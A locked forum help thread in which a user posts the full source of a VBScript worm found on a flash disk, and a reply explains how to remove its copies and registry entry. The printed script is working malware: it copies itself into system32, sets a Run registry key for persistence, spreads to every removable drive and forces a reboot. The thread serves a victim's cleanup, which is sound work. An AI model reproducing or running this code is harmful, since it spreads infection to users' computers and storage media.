Discussion Locked

Script

0 helpful
2 replies
Closed to new repliesThis discussion is closed. It stays readable, but it takes no new replies.

Hi, one of my network users found the script below in their flash disk and ran it. Immediately the computer restarted. Can someone tell me if deleting it is enough or there is cause of more worry?

Set WShell = CreateObject("WScript.Shell")
startupRegKey = "HKEY_LOCAL_MACHINE\SOFtWARE\Microsoft\Windows\CurrentVersion\Run\SysChk"
set FileSysObj = CreateObject("Scripting.FilesystemObject")
Set sys32DirObj = FileSysObj.GetSpecialFolder(1)

entryPoint
Sub entryPoint()
sys32DirName = CStr(sys32DirObj)
scriptFullName = wscript.scriptfullname
if instr(scriptFullName,sys32DirName) then
do
getDrvs
wscript.sleep 120000
Loop
Else
if (FileSysObj.fileexists(sys32DirObj & "\Hummer.vbs"))=false Then
copyToFol sys32DirObj,"Hummer"
register sys32DirObj
End If
end if
getDrvs
if (FileSysObj.fileexists(sys32DirObj & "\Hummer.vbs")) Then
Else
CopyToFol sys32DirObj,"Hummer"
register sys32DirObj
end if
end sub

sub getDrvs()
Dim FSObj, drv, dArray
Set FSObj = CreateObject("Scripting.FileSystemObject")
Set dArray = FSObj.Drives

For Each drv in dArray
vdrv = drv.Driveletter & ":"
drvType= getRemovable(vdrv)
if drvType ="Removable" and drv.isReady then
if not (FSObj.fileexists(vdrv & "\MyBaby.vbs")) then
copyToFol vdrv,"MyBaby"
end If
end if
Next
End Sub

Function getRemovable(drvpath)
Dim FSObj, AbsDrvName, t
Set FSObj = CreateObject("Scripting.FileSystemObject")
Set AbsDrvName = FSObj.GetDrive(FSObj.GetDriveName(FSObj.GetAbsolutePathName(drvpath)))
Select Case AbsDrvName.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Remote"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
getRemovable = t
End Function

Sub register(system32)
set WShell = CreateObject("WScript.Shell")
if (FileSysObj.fileexists(system32 & "\Hummer.vbs")) Then
WShell.regwrite startupRegKey, system32 & "\Hummer.vbs"
End If
end Sub

Sub copyToFol(x,name)
file = Wscript.ScriptFullName
FIleSysObj.copyfile file, x & "\" & name & ".vbs"
end sub
Dim command
command = "shutdown.exe -r -t 30 -c " & Chr(34) & "An error has occured. You have 30 seconds to save all your work." & Chr(34)
WShell.run command

It had a .vbs extension.

Regards,
Steve Biko

2 replies

by root.desy

Hi Steve,

In order to get rid off the script you need to do three Steps.

General Information/Three Steps:

There are two scripts which are MyBaby.vbs and Hummer.vbs.

-Mybaby.vbs is probably located on a removeable drive (usb-stick, Flashdisk or on other medias).

-Hummer.vbs is located in "C:\WINDOWS\system32\Hummer.vbs".

-But the script did manipulate (adding of a value) the registry in the beginning of the script so you may also want to delete the following registry key (after making a backup, ofcourse(!)) startupRegKey = "HKEY_LOCAL_MACHINE\SOFtWARE\Microsoft\Windows\CurrentVersion\Run\SysChk"

The scripts is only dangerous to the extend that it restarts your computer. it is not spreading network-based but through removeable medias like pointed out before.

Greetings,

Casimir Koreander

This discussion is closed to new replies.